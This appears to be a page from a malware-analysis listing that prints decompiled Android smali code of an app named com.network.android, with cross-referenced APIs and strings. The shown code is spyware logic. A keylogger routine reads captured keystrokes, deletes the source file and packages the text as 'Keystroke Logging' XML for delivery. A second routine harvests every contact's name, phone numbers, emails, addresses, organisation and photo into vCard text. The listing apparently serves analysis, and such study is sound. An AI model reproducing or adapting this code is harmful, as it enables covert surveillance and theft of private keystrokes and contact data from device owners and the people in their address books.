      417const-string v9, " GetKeyboard readKeyboard get time stamp Throwable- "
      419invoke-virtual {v1, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      420move-result-object v1
      422invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      423move-result-object v9
      425invoke-virtual {v1, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      426move-result-object v1
      428invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      429move-result-object v1
      431invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      432try_end_252: goto/16 :goto_1d0
      433catch_254: move-exception v0
      434move-object v1, v2
      435goto_256: new-instance v2, Ljava/lang/StringBuilder;
      437invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      439invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      440move-result-object v2
      442const-string v8, " GetKeyboard readKeyboard Throwable- "
      444invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      445move-result-object v2
      447invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      448move-result-object v8
      450invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      451move-result-object v2
      453invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      454move-result-object v2
      456invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      457try_end_274: if-eqz v1, :cond_279
      458try_start_276:
      459invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
      460cond_279: if-eqz v7, :cond_a4
      462invoke-virtual {v7}, Ljava/io/File;->delete()Z
      463move-result v0
      464new-instance v1, Ljava/lang/StringBuilder;
      466invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      468invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      469move-result-object v1
      471const-string v2, " GetKeyboard readKeyboard file:"
      473invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      474move-result-object v1
      476invoke-virtual {v7}, Ljava/io/File;->getName()Ljava/lang/String;
      477move-result-object v2
      479invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      480move-result-object v1
      482const-string v2, ", was deleted after reading:"
      484invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      485move-result-object v1
      487invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      488move-result-object v0
      490invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      491move-result-object v0
      493invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      494try_end_2a7: goto/16 :goto_a4
      495catch_2a9: move-exception v0
      496try_start_2aa: new-instance v1, Ljava/lang/StringBuilder;
      498invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      500invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      501move-result-object v1
      503const-string v2, " GetKeyboard readKeyboard finaly Throwable- "
      505invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      506move-result-object v1
      508invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      509move-result-object v2
      511invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      512move-result-object v1
      514invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      515move-result-object v1
      517invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      518try_end_2c8: goto/16 :goto_a4
      519catchall_2ca: move-exception v0
      520move-object v2, v1
      521goto_2cc: if-eqz v2, :cond_2d1
      522try_start_2ce:
      523invoke-virtual {v2}, Ljava/io/FileInputStream;->close()V
      524cond_2d1: if-eqz v7, :cond_2ff
      526invoke-virtual {v7}, Ljava/io/File;->delete()Z
      527move-result v1
      528new-instance v2, Ljava/lang/StringBuilder;
      530invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      532invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      533move-result-object v2
      535const-string v3, " GetKeyboard readKeyboard file:"
      537invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      538move-result-object v2
      540invoke-virtual {v7}, Ljava/io/File;->getName()Ljava/lang/String;
      541move-result-object v3
      543invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      544move-result-object v2
      546const-string v3, ", was deleted after reading:"
      548invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      549move-result-object v2
      551invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      552move-result-object v1
      554invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      555move-result-object v1
      557invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      558try_end_2ff: throw v0
      559cond_300:
      560invoke-virtual {v5}, Ljava/lang/StringBuilder;->length()I
      561move-result v0
      562if-lez v0, :cond_395
      564invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      565try_end_309: move-result-object v0
      566try_start_30a: new-instance v1, Ljava/lang/StringBuilder;
      568const-string v2, "GetKeyboard readKeyboard stringBuilder size"
      570invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      572invoke-virtual {v0}, Ljava/lang/String;->length()I
      573move-result v2
      575invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      576move-result-object v1
      578invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      579move-result-object v1
      581invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      583invoke-static {}, Landroid/util/Xml;->newSerializer()Lorg/xmlpull/v1/XmlSerializer;
      584move-result-object v1
      585new-instance v2, Ljava/io/StringWriter;
      587invoke-direct {v2}, Ljava/io/StringWriter;-><init>()V
      589invoke-static {v1, v2}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;)V
      591const-string v3, ""
      593const-string v4, "misc"
      595invoke-interface {v1, v3, v4}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      597const-string v3, ""
      599const-string v4, "miscEntry"
      601invoke-interface {v1, v3, v4}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      603const-string v3, ""
      605const-string v4, "type"
      607const-string v5, "Keystroke Logging"
      609invoke-interface {v1, v3, v4, v5}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      611const-string v3, ""
      613const-string v4, "timestamp"
      615invoke-static {}, Lcom/network/i/e;->b()Ljava/lang/String;
      616move-result-object v5
      618invoke-interface {v1, v3, v4, v5}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      620const-string v3, ""
      622const-string v4, "data"
      624invoke-interface {v1, v3, v4}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      626invoke-interface {v1, v0}, Lorg/xmlpull/v1/XmlSerializer;->cdsect(Ljava/lang/String;)V
      628const-string v0, ""
      630const-string v3, "data"
      632invoke-interface {v1, v0, v3}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      634const-string v0, ""
      636const-string v3, "miscEntry"
      638invoke-interface {v1, v0, v3}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      640const-string v0, ""
      642const-string v3, "misc"
      644invoke-interface {v1, v0, v3}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      646invoke-static {v1}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;)V
      648invoke-virtual {v2}, Ljava/io/StringWriter;->toString()Ljava/lang/String;
      649move-result-object v0
      651invoke-static {v0, p0}, Lcom/network/android/j;->a(Ljava/lang/String;Landroid/content/Context;)V
      653invoke-static {p0}, Lcom/network/android/j;->a(Landroid/content/Context;)V
      654try_end_37a: goto/16 :goto_186
      655catch_37c: move-exception v0
      656try_start_37d: new-instance v1, Ljava/lang/StringBuilder;
      658const-string v2, "GetKeyboard addXml Throwable- "
      660invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      662invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      663move-result-object v2
      665invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      666move-result-object v1
      668invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      669move-result-object v1
      671invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      672goto/16 :goto_186
      673cond_395: new-instance v0, Ljava/lang/StringBuilder;
      675const-string v1, "GetKeyboard readKeyboard Keystroke logging "
      677invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      679invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      680move-result-object v0
      682invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      683move-result-object v0
      685invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      686goto/16 :goto_186
      687cond_3a9: new-instance v0, Ljava/lang/StringBuilder;
      689const-string v1, "GetKeyboard readKeyboard outputFolder:\'"
      691invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      693sget-object v1, Lcom/network/d/a;->a:Ljava/lang/String;
      695invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      696move-result-object v0
      698const-string v1, "\' does not exist"
      700invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      701move-result-object v0
      703invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      704move-result-object v0
      706invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      707goto/16 :goto_186
      708catch_3c5: move-exception v1
      709new-instance v2, Ljava/lang/StringBuilder;
      711invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      713invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      714move-result-object v2
      716const-string v3, " GetKeyboard readKeyboard finaly Throwable- "
      718invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      719move-result-object v2
      721invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      722move-result-object v3
      724invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      725move-result-object v2
      727invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      728move-result-object v2
      730invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      731goto/16 :goto_2ff
      732catch_3e6: move-exception v0
      733new-instance v1, Ljava/lang/StringBuilder;
      735invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      737invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      738move-result-object v1
      740const-string v2, " GetKeyboard readKeyboard finaly Throwable- "
      742invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      743move-result-object v1
      745invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      746move-result-object v2
      748invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      749move-result-object v1
      751invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      752move-result-object v1
      754invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      755try_end_405: goto/16 :goto_a4
      756catchall_407: move-exception v0
      757goto/16 :goto_2cc
      758catchall_40a: move-exception v0
      759move-object v2, v1
      760goto/16 :goto_2cc
      761catch_40e: move-exception v0
      762goto/16 :goto_256
      Cross References
      APIs
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.provider.ContactsContract$Data.CONTENT_URI:Landroid/net/Uri
      • android.content.ContentResolver.query
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • android.database.Cursor.close
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.Integer.parseInt
      • android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI:Landroid/net/Uri
      • android.content.ContentResolver.query
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.provider.ContactsContract$CommonDataKinds$Email.CONTENT_URI:Landroid/net/Uri
      • android.content.ContentResolver.query
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.provider.ContactsContract$Data.CONTENT_URI:Landroid/net/Uri
      • android.content.ContentResolver.query
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.provider.ContactsContract$Data.CONTENT_URI:Landroid/net/Uri
      • android.content.ContentResolver.query
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • android.database.Cursor.close
      • android.provider.ContactsContract$Contacts.CONTENT_URI:Landroid/net/Uri
      • java.lang.Long.parseLong
      • android.content.ContentUris.withAppendedId
      • android.provider.ContactsContract$Contacts.openContactPhotoInputStream
      • java.lang.StringBuilder.append
      • java.lang.String.length
      • java.lang.StringBuilder.append
      • android.database.Cursor.close
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • _id
      • display_name
      • \r\nBEGIN:VCARD\r\nVERSION:3.0\r\nFN:
      • lookup
      • mimetype = ? and contact_id = ?
      • vnd.android.cursor.item/name
      • data2
      • data3
      • \r\nN:
      • ;
      • ;;
      • has_phone_number
      • contact_id = ?
      • data1
      • \r\nTEL;TYPE=WORK,VOICE:
      • makeVcardStringBufferMenual-
      • \r\nEMAIL;TYPE=INTERNET;TYPE=HOME:
      • contact_id = ? AND mimetype = ?
      • vnd.android.cursor.item/postal-address_v2
      • data5
      • data4
      • data7
      • data8
      • data9
      • data10
      • \r\nADR:
      • vnd.android.cursor.item/organization
      • \r\nTITLE:
      • \r\nORG:
      • \r\n
      • GIF
      • \r\nEND:VCARD\r\n
      • PNG
      • JPEG
      • photo-
      Position Instruction Meta Information
      0const/4 v12, 0x3
      1const/4 v11, 0x2
      2const/4 v10, 0x1
      3const/4 v9, 0x0
      4const/4 v7, 0x0
      6const-string v0, "_id"
      8invoke-interface {p1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      9move-result v0
      11invoke-interface {p1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      12move-result-object v8
      14const-string v0, "display_name"
      16invoke-interface {p1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      17move-result v0
      19invoke-interface {p1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      20move-result-object v0
      21if-nez v0, :cond_1d
      23const-string v0, ""
      24cond_1d: new-instance v1, Ljava/lang/StringBuilder;
      26const-string v2, "\r\nBEGIN:VCARD\r\nVERSION:3.0\r\nFN:"
      28invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      30invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      31move-result-object v0
      33invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      34move-result-object v0
      36invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      37try_start_2f:
      38const-string v0, "lookup"
      40invoke-interface {p1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      41move-result v0
      43invoke-interface {p1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      44try_end_38: move-result-object v6
      45try_start_39:
      46const-string v3, "mimetype = ? and contact_id = ?"
      47const/4 v0, 0x2
      48new-array v4, v0, [Ljava/lang/String;
      49const/4 v0, 0x0
      51const-string v1, "vnd.android.cursor.item/name"
      52aput-object v1, v4, v0
      53const/4 v0, 0x1
      54aput-object v8, v4, v0
      56sget-object v1, Landroid/provider/ContactsContract$Data;->CONTENT_URI:Landroid/net/Uri;
      57const/4 v2, 0x0
      59const-string v5, "data2"
      60move-object v0, p0
      62invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      63move-result-object v1
      65invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
      66move-result v0
      67if-eqz v0, :cond_90
      69const-string v0, "data2"
      71invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      72move-result v0
      74invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      75move-result-object v2
      77const-string v0, "data3"
      79invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      80move-result v0
      82invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      83move-result-object v0
      84if-nez v0, :cond_6e
      86const-string v0, ""
      87cond_6e: new-instance v3, Ljava/lang/StringBuilder;
      89const-string v4, "\r\nN: "
      91invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      93invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      94move-result-object v0
      96const-string v3, ";"
      98invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      99move-result-object v0
      101invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      102move-result-object v0
      104const-string v2, ";;"
      106invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      107move-result-object v0
      109invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      110move-result-object v0
      112invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      113cond_90:
      114invoke-interface {v1}, Landroid/database/Cursor;->close()V
      115try_end_93:
      116const-string v0, "has_phone_number"
      118invoke-interface {p1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      119move-result v0
      121invoke-interface {p1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      122move-result-object v0
      124invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
      125move-result v0
      126if-lez v0, :cond_f3
      128sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
      130const-string v3, "contact_id = ?"
      131new-array v4, v10, [Ljava/lang/String;
      132aput-object v8, v4, v9
      133move-object v0, p0
      134move-object v2, v7
      135move-object v5, v7
      137invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      138move-result-object v0
      139goto_b2:
      140invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
      141move-result v1
      142if-eqz v1, :cond_f0
      144const-string v1, "data1"
      146invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      147move-result v1
      149invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      150move-result-object v1
      151new-instance v2, Ljava/lang/StringBuilder;
      153const-string v3, "\r\nTEL;TYPE=WORK,VOICE:"
      155invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      157invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      158move-result-object v1
      160invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      161move-result-object v1
      163invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      164goto/16 :goto_b2
      165catch_d5: move-exception v0
      166move-object v1, v0
      167move-object v0, v7
      168goto_d8: new-instance v2, Ljava/lang/StringBuilder;
      170const-string v3, "makeVcardStringBufferMenual- "
      172invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      174invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      175move-result-object v3
      177invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      178move-result-object v2
      180invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      181move-result-object v2
      183invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      184move-object v6, v0
      185goto/16 :goto_93
      186cond_f0:
      187invoke-interface {v0}, Landroid/database/Cursor;->close()V
      188cond_f3:
      189sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Email;->CONTENT_URI:Landroid/net/Uri;
      190const/4 v2, 0x0
      192const-string v3, "contact_id = ?"
      193const/4 v0, 0x1
      194new-array v4, v0, [Ljava/lang/String;
      195const/4 v0, 0x0
      196aput-object v8, v4, v0
      197const/4 v5, 0x0
      198move-object v0, p0
      200invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      201move-result-object v0
      202goto_104:
      203invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
      204move-result v1
      205if-eqz v1, :cond_2bb
      207const-string v1, "data1"
      209invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      210move-result v1
      212invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      213move-result-object v1
      214if-eqz v1, :cond_104
      215new-instance v2, Ljava/lang/StringBuilder;
      217const-string v3, "\r\nEMAIL;TYPE=INTERNET;TYPE=HOME:"
      219invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      221invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      222move-result-object v1
      224invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      225move-result-object v1
      227invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      228try_end_128: goto/16 :goto_104
      229catch_129: move-exception v0
      230new-instance v1, Ljava/lang/StringBuilder;
      232const-string v2, "makeVcardStringBufferMenual- "
      234invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      236invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      237move-result-object v2
      239invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      240move-result-object v1
      242invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      243move-result-object v1
      245invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      246goto_140:
      247const-string v3, "contact_id = ? AND mimetype = ?"
      248const/4 v0, 0x2
      249new-array v4, v0, [Ljava/lang/String;
      250const/4 v0, 0x0
      251aput-object v8, v4, v0
      252const/4 v0, 0x1
      254const-string v1, "vnd.android.cursor.item/postal-address_v2"
      255aput-object v1, v4, v0
      257sget-object v1, Landroid/provider/ContactsContract$Data;->CONTENT_URI:Landroid/net/Uri;
      258const/4 v2, 0x0
      259const/4 v5, 0x0
      260move-object v0, p0
      262invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
      263move-result-object v0
      264goto_156:
      265invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
      266move-result v1
      267if-eqz v1, :cond_2c0
      269const-string v1, "data5"
      271invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      272move-result v1
      274invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      275move-result-object v1
      277const-string v2, "data4"
      279invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      280move-result v2
